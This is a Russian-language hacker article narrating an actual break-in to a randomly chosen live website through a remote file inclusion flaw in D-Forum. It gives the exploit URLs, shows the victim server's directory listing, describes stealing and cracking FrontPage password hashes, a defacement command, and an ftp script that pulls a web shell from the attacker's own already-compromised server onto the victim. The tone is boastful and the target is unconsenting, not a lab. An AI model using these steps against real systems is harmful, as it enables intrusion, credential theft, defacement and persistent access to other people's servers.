Ломаем через багу в D-Forum Продолжая тему описаний реальных взломов сегодня я расскажу о совсем новом способе взлома сайта через багу в форуме D-Forum. Значится залезаю сегодня на сайт securitylab.ru и вижу запись о баге в данном форуме: Выполнение произвольных команд в D-forum Уязвимость включения файла обнаружена в D-forum. Удаленный пользователь может выполнять произвольные команды на операционной системе. Файл 'header.php3' включает переменную $my_header и файл 'footer.php3' включает $my_footer переменную без надлежащей проверки включаемого файла. В результате удаленный атакующий может сконструировать URL, который определяет удаленное местоположение для для $my_header или $my_footer. PHP код, на который ссылаются эти переменные будет включен и выполнен целевым сервером. Просто замечательно =) Так как делать было абсолютно нечего то решил немного помучить сайты использующие дырявый форум. В поисковике вбиваю "powered by D-Forum" и получаю дохрена ссылок. Выбирать особо не стал и кликнул на первом попавшемся сайте. Отлично используется D-Forum 1.00 дырявая версия. Время немного подготовится. Залезаю по фтп на предварительно хакнутый сервак (назовём его myserver.com) и заливаю файлик script.txt следующего содержания: Теперь забиваю в браузер строку вида: http://victim.com/forum/includes/footer.php3?my_footer=http://myserver.com/script.txt можно также использовать http://victim.com/forum/includes/header.php3?my_header=http://myserver.com/script.txt где victim.com - сайт с уязвимым форумом forum - каталог форума Получаю в ответ: Warning: Failed opening 'skeltons/.footer.php3' for inclusion (include_path='') in /home/sites/site32/web/forum2/includes/footer.php3 on line 2 drwxrwxr-x 32 nobody site32 2048 Feb 18 13:14 . drwxrwsr-x 6 nobody site32 1024 Jul 2 2001 .. drwxr-xr-x 3 vguene site32 1024 Feb 13 22:21 access -rw-r--r-- 1 vguene site32 18269 Feb 17 20:42 accesreponses.htm drwxr-xr-x 3 vguene site32 1024 Feb 13 22:21 allopass drwxrwsr-x 3 nobody site32 1024 Jul 2 2001 bac -rw-rw-r-- 1 nobody site32 11799 Feb 13 22:23 bac.html drwxrwsr-x 7 nobody site32 1024 Sep 1 2001 cgi-bin -rw-rw-r-- 1 nobody site32 850 Nov 1 2000 cgi.html drwxr-xr-x 2 vguene site32 1024 Oct 19 12:26 contact drwxrwsr-x 3 nobody site32 3072 Nov 23 18:37 cours -rw-rw-r-- 1 nobody site32 18121 Feb 13 22:23 Cours.html drwxrwsr-x 3 nobody site32 2048 Dec 14 17:47 disse -rw-rw-r-- 1 nobody site32 16850 Feb 13 22:23 Dissert.html drwxr-xr-x 3 vguene site32 1024 Dec 29 19:13 dossiers -rw-r--r-- 1 vguene site32 9074 Feb 13 22:23 Dossiers.html drwxrwsr-x 3 nobody site32 4096 Jul 2 2001 faq drwxrwsr-x 3 nobody site32 1024 Jul 2 2001 flash -rw-r--r-- 1 vguene site32 6105 Feb 13 22:23 form_allopass.php3 drwxrwxrwx 2 vguene site32 24576 Feb 20 13:59 forum drwxr-xr-x 9 vguene site32 1024 Feb 13 21:41 forum2 -rw-rw-r-- 1 nobody site32 905 Aug 24 14:25 frame1.html -rw-rw-r-- 1 nobody site32 7915 Feb 1 19:33 gauche.html -rw-rw-r-- 1 nobody site32 353 Jul 2 2001 .htaccess drwxrwsr-x 4 nobody site32 3072 Feb 13 21:45 Images drwxrwsr-x 2 nobody site32 1024 Jul 2 2001 images -rw-r--r-- 1 vguene site32 14812 Feb 13 22:38 index.htm -rwxrwxr-x 1 nobody site32 687 Jun 12 2001 index.wml drwxrwsr-x 2 nobody site32 1024 Feb 13 21:44 Library drwxrwsr-x 4 nobody site32 1024 Dec 30 23:35 liens -rw-rw-r-- 1 nobody site32 10044 Feb 13 22:22 Liens.html drwxrwsr-x 3 nobody site32 1024 Sep 29 2001 mailingliste -rw-r--r-- 1 vguene site32 6770 Aug 3 2001 mailing.php3 -rw-rw-r-- 1 nobody site32 3120 Oct 24 21:24 menu.html drwxrwsr-x 4 nobody site32 1024 Feb 13 22:11 metho -rw-rw-r-- 1 nobody site32 14288 Feb 13 22:22 Metho.html -rw-r--r-- 1 vguene site32 3349 Nov 16 09:25 popup.html -rw-r--r-- 1 vguene site32 12752 Feb 18 13:14 poserquestion.htm -rw-rw-r-- 1 nobody site32 2451 Mar 22 2000 postinfo.html -rw-r--r-- 1 vguene site32 3157 Nov 16 09:25 presentation.html drwxrwsr-x 2 nobody site32 1024 Jul 2 2001 _private -rw-r--r-- 1 vguene site32 14409 Feb 13 22:23 programme.html -rw-r--r-- 1 vguene site32 34315 Feb 13 22:23 programmeTES.html -rw-r--r-- 1 vguene site32 43322 Feb 13 22:23 programmeTL.html -rw-r--r-- 1 vguene site32 33532 Feb 13 22:23 programmeTS.HTML drwxrwsr-x 3 nobody site32 1024 Jul 2 2001 question -rw-rw-r-- 1 nobody site32 12694 Feb 8 17:44 sommaire.html drwxrwsr-x 4 nobody site32 3072 Feb 1 04:24 stats drwxr-xr-x 6 nobody site32 2048 Oct 1 2001 stats_old drwxrwsr-x 3 nobody site32 1024 Dec 29 19:28 styles drwxr-xr-x 2 vguene site32 1024 Feb 13 22:22 Templates drwxrwsr-x 4 nobody site32 1024 Jul 2 2001 _vti_bin drwxrwsr-x 2 nobody site32 1024 Jul 2 2001 _vti_cnf -rw-rw-r-- 1 nobody site32 1716 Jul 2 2001 _vti_inf.html drwxrwsr-x 2 nobody site32 1024 Jul 2 2001 _vti_log drwxrwsr-x 2 nobody site32 1024 Feb 13 21:43 _vti_pvt drwxrwsr-x 2 nobody site32 1024 Jul 2 2001 _vti_txt drwxrwsr-x 3 nobody site32 1024 Feb 13 21:41 word uid=15(httpd) gid=11(httpd) groups=11(httpd) /home/sites/site32/web Ну вот мы и на месте =) Что теперь можно сделать? Папка _vti_pvt может содержать файл service.pwd в котором находятся пароли от фронтпаги. Скормив эти пароли jtr можно попробовать их к фтп (в 90% случаев пароли от фронта совпадают с паролями к фтп) Значит меняем содержание файла script.txt на заливаем на свой сервер, выполняем и получаем: webmaster:YXE.FGh11MY.k John the Ripper выдаёт webmaster:abc123 Теперь можно попробовать изменить страничку с помощью фронтпаги либо попробовать пароли к фтп. Логин и пароль к фтп не подошли а возится с фронтом мне было не охота. Примечание: В случае если файл index.htm доступен для записи можно сразу записать свой текст в файл index.htm. Для этого выполним команду: echo HACKED by Supa HaCKa > полный путь к файлу например: echo HACKED by Supa HaCKa > /home/sites/site32/web/index.htm то есть в файл script.txt пишем: /home/sites/site32/web/index.htm"); ?> и получаем плаинтекстовый дефейс. Однако в моём случае прав на изменение файла не хватало значит надо было искать другие пути (да и дефейс не был конечной целью взлома =) Поэтому я продолжу... Значит прежде всего необходимо как-то обустроится на сервере... Залить свой скрипт так как каждый раз заливать на фтп команды немного неудобно. Для этого необходимо найти папку разрешенную на запись. Чтобы проверить можем ли мы записывать в текущий каталог пробуем команду: aa.txt;ls"); ?> если в листинге вы увидите файл aa.txt значит всё отлично. Итак для записи доступна директория forum. ( drwxrwxrwx 2 vguene site32 24576 Feb 20 13:59 forum ) Пишем в файл script.txt следующую фигню: ftp.scr; echo user r00t >> ftp.scr; echo 12345 >> ftp.scr; echo get shell.php shell.php >> ftp.scr; echo bye >> ftp.scr"); ?> Теперь поподробнее: open myserver.com - подключение к моему серверу user r00t - передаём логин r00t 12345 - пароль get shell.php shell.php - скачиваем файл shell.php и сохраняем его под именем shell.php bye - прощаемся с фтп сервером И всё это записываем в файл ftp.scr Заливаем это на наш сервер. Выполняем. Теперь опять пишем в script.txt Этим мы запускаем фтп передав ему наш ранее сформированный скрипт ftp.scr и устанавливаем на закачанный скрипт права 755. Снова заливаем script.txt на наш сервер... выполняем. В ответе должны получить что-то типа: ---> SYST Please login with USER and PASS. ---> USER r00t ---> PASS XXXX ---> PORT 217,174,192,102,5,187 ---> RETR shell.php ---> QUIT ./ ../ Ну вот теперь нас по адресу www.victim.com/forum/shell.php ждёт http-шелл =) После получения локального http-шелла работа над сервером конечно-же не заканчивается... точнее сказать она после этого только начинается =) Но это тема другой статьи. Удачи. Автор: 1dt.w0lf --------------------------------------- RusH security team - http://rst.void.ru